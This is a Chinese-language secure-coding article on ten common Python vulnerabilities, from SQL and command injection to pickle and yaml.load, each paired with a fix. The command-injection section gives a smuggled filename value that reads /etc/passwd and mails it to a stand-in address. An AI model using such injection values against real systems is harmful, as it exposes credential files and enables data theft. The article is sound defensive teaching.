常見漏洞處理

一、輸入注入  

注入攻擊影響普遍且很常見，注入有不少種類，它們影響全部的語言、框架和環境。

     SQL 注入是直接編寫 SQL 查詢（而非使用 ORM） 時將字符串與變量混合。我讀過不少代碼，其中「引號字符轉義」被認爲是一種修復，但事實並不是如此，能夠經過這個連接（https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/）查看 SQL 注入全部可能發生的方式。

     命令注入有可能在使用 popen、subprocess、os.system 調用一個進程並從變量中獲取參數時發生，當調用本地命令時，有人可能會將某些值設置爲惡意值。

     下面是個簡單的腳本（連接：https://www.kevinlondon.com/2015/07/26/dangerous-python-functions.html），使用用戶提供的文件名調用子進程：

 

     攻擊者會將filename的值設置爲「; cat /etc/passwd | mail them@domain.com或者其餘一樣危險的值。

修復方法：

     若是你使用了 Web 框架，能夠用附帶的實用程序對輸入進行清理，除非有充分的理由，不然不要手動構建 SQL 查詢，大多數 ORM 都有內置的清理方法。

     對於 shell，可使用 shlex 模塊正確地轉義輸入。

 

二、解析XML

     若是您的應用程序加載並解析XML文件，可能您正在使用一個XML標準庫模塊。有一些針對XML的常見攻擊。大多數爲DoS風格（旨破壞系統而不是盜取數據）。這些攻擊很常見，特別是在解析外部（即不可信任的）XML文件時。

     其中一種攻擊爲「billion laughs」，由於加載的文件包含了不少個（數十億）「lols」。你能夠加載XML實體文件，當XML解析器試圖將這個XML文件加載到內存中時，會消耗不少個G的內存。不信就試試看:-)

 

    另外一種攻擊使用外部實體擴展。 XML支持從外部URL引用實體，XML解析器一般會直接獲取並加載該資源。「攻擊者能夠繞開防火牆訪問保密資源，由於全部請求都是由內部可信的IP地址建立的，請求不是來自於外部。」

    須要考慮的另外一種狀況是您要依賴於第三方軟件包來解碼XML，例如配置文件，遠程API。您甚至不知道您的某個依賴包已經暴露在攻擊之下。

    那麼在Python中會發生什麼？標準庫模塊etree，DOM，xmlrpc都容易遭受這些類型的攻擊。詳情參考此連接： https://docs.python.org/3/library/xml.html#xml-vulnerabilities

修復方法:

    直接用defusedxml（連接：https://pypi.org/project/defusedxml/）替換標準庫模塊。它增長了針對這類攻擊的安全防禦。

三、Assert 語句

    不要使用 assert 語句來防止用戶訪問特定代碼段。例如：

 

    默認狀況下，Python 以 __debug__ 爲 true 來執行腳本，但在真實環境中，一般使用優化運行，這將會跳過 assert 語句並直接轉到安全代碼，而無論用戶是不是 is_admin 。

修復方法：

   僅在單元測試中使用 assert 語句。

四、計時攻擊

    計時攻擊本質上是一種經過計算比較提供值所需時間來暴露行爲和算法的方式。計時攻擊須要精確性，因此一般不能用於高延遲的遠程網絡。因爲大多數 Web 應用程序涉及可變延遲，所以幾乎不可能針對 HTTP Web 服務器編寫計時攻擊。

    可是，若是你的應用程序有提示輸入密碼的命令行，攻擊者就能夠編寫一個簡單的腳原本計算將其值與實際密碼進行比較所需的時間。例子參考連接：http://jyx.github.io/blog/2014/02/02/timing-attack-proof-of-concept/

   這裏有一個基於SSH計時攻擊的Python 工具，你能夠看看如何使用它。連接：https://github.com/c0r3dump3d/osueta

修復方法：

    使用在 Python 3.5 中引入的 secrets.compare_digest 來比較密碼和其餘私密值。

五、感染site-packages 或導入路徑

   Python的導入系統很是靈活。當你爲測試程序編寫猴子補丁，或者重載核心函數時，你會感受很是方便。 

   但這也是Python最大的安全漏洞之一。

   將第三方包安裝到site-packages中，不管是在虛擬環境中仍是在全局site-packages中，你都將暴露在安全風險中。

   有一些發佈到PyPi的包與流行的包具備類似的名稱，可是卻執行了任意代碼。幸運的是，這極可能沒有太大危害，只會「明確表示」這個問題沒有獲得真正的解決。

   須要考慮的另外一種狀況是多層依賴包。它們可能包含漏洞，它們也能夠經過導入系統重寫Python默認行爲。

修復方法:

    你能夠利用PyUp.io這個網站提供的工具檢查你的第三方包。使用虛擬環境，確保您的全局site-packages儘量乾淨。檢查包簽名。

六、臨時文件

    要在 Python 中建立臨時文件，你一般會使用 mktemp ( )函數生成一個文件名，而後使用該名稱建立一個文件。 「這是不安全的，由於另外一個進程可能會在調用 mktemp ( )和隨後嘗試經過第一個進程建立文件之間的空隙建立一個同名文件。」這意味着應用程序可能加載錯誤的數據或暴露其餘的臨時數據。

    若是調用不正確，最新版本的 Python 會發出運行警告。

修復方法：

     若是須要生成臨時文件，請使用 tempfile 模塊並使用 mkstemp。(參考連接：https://docs.python.org/3/library/tempfile.html#tempfile.mkstemp)

七、使用 yaml.load

    這裏引用 PyYAML 的說明文檔：
    警告：使用不可信源的數據調用 yaml.load 是不安全的！ yaml.load 和pickle.load 同樣強大，因此能夠調用任何 Python 函數。

    在流行的Python項目 Ansible 中找到的這樣一個例子（連接：https://www.talosintelligence.com/reports/TALOS-2017-0305），你能夠將此值提供給 Ansible Vault做爲（有效的）YAML，它使用文件中提供的參數調用 os.system。

 

    因此，從用戶提供的值中加載 YAML 文件會讓應用大門洞開，很容易遭受攻擊。

修復方法：

    老是使用 yaml.safe_load，除非你有其它更好的方法。

八、Pickle漏洞

    用pickle反序列化數據和YAML同樣糟糕。在pickle對象時，Python類能夠聲明一個名爲__reduce__的魔術方法，該方法返回一個字符串、或一個元組。攻擊者可使用它來引用其中一個子進程模塊，在主機上運行任意命令。

    這有一個在Python2中pickle一個類並打開shell的例子（連接：https://blog.nelhage.com/2011/03/exploiting-pickle/）。更多利用pickle漏洞的方法請看這個連接：https://lincolnloop.com/blog/playing-pickle-security/

 

修復方法:

    切勿用pickle反序列化不受信任或未經身份驗證的數據。改用另外一種序列化模式，如JSON。

九、使用系統自帶的Python而不修補漏洞

    大多數可移植操做系統都自帶Python2，一般仍是舊版本。

    因爲「Python」，即CPython是用C語言編寫的，因此Python解釋器自己存在漏洞。 C語言中常見的安全問題與內存分配有關，因此存在緩衝區溢出錯誤。

    多年來CPython出現了多個溢出漏洞，每一個漏洞都在後續版本中進行了修復。

    也就是說，若是你修補了Python自己的漏洞，你就是安全的。

    這裏有一個Python2.7.13及如下版本的整數溢出漏洞實例，連接：https://www.cvedetails.com/cve/CVE-2017-1000158/。 Ubuntu17之前版本的Python漏洞請參看連接：https://distrowatch.com/table.php?distribution=ubuntu

修復方法:

   安裝最新版本的Python並及時修補漏洞。

十、不修補依賴包的漏洞

   相似於修補Python自己的漏洞，您還須要按期修補依賴包漏洞。有人習慣於使用PyPi軟件包的「固定」版本，這種作法很可怕。他們認爲「這些是有用的版本」，因此每一個人都對漏洞置若罔聞。

   上面提到的全部漏洞若是存在於你使用的包中，它們一樣很致命。這些軟件包的開發人員無時不刻不在解決安全問題。

修復方法:

    使用相似於PyUP.io這個網站提供的服務去檢查更新，嚮應用程序發送pull/merge 請求，運行測試，讓軟件包保持更新。使用InSpec這樣的工具（連接：https://www.inspec.io/docs/reference/resources/pip/）來驗證真實環境中的安裝版本，並確保修補了最小版本或多個連續版本的漏洞。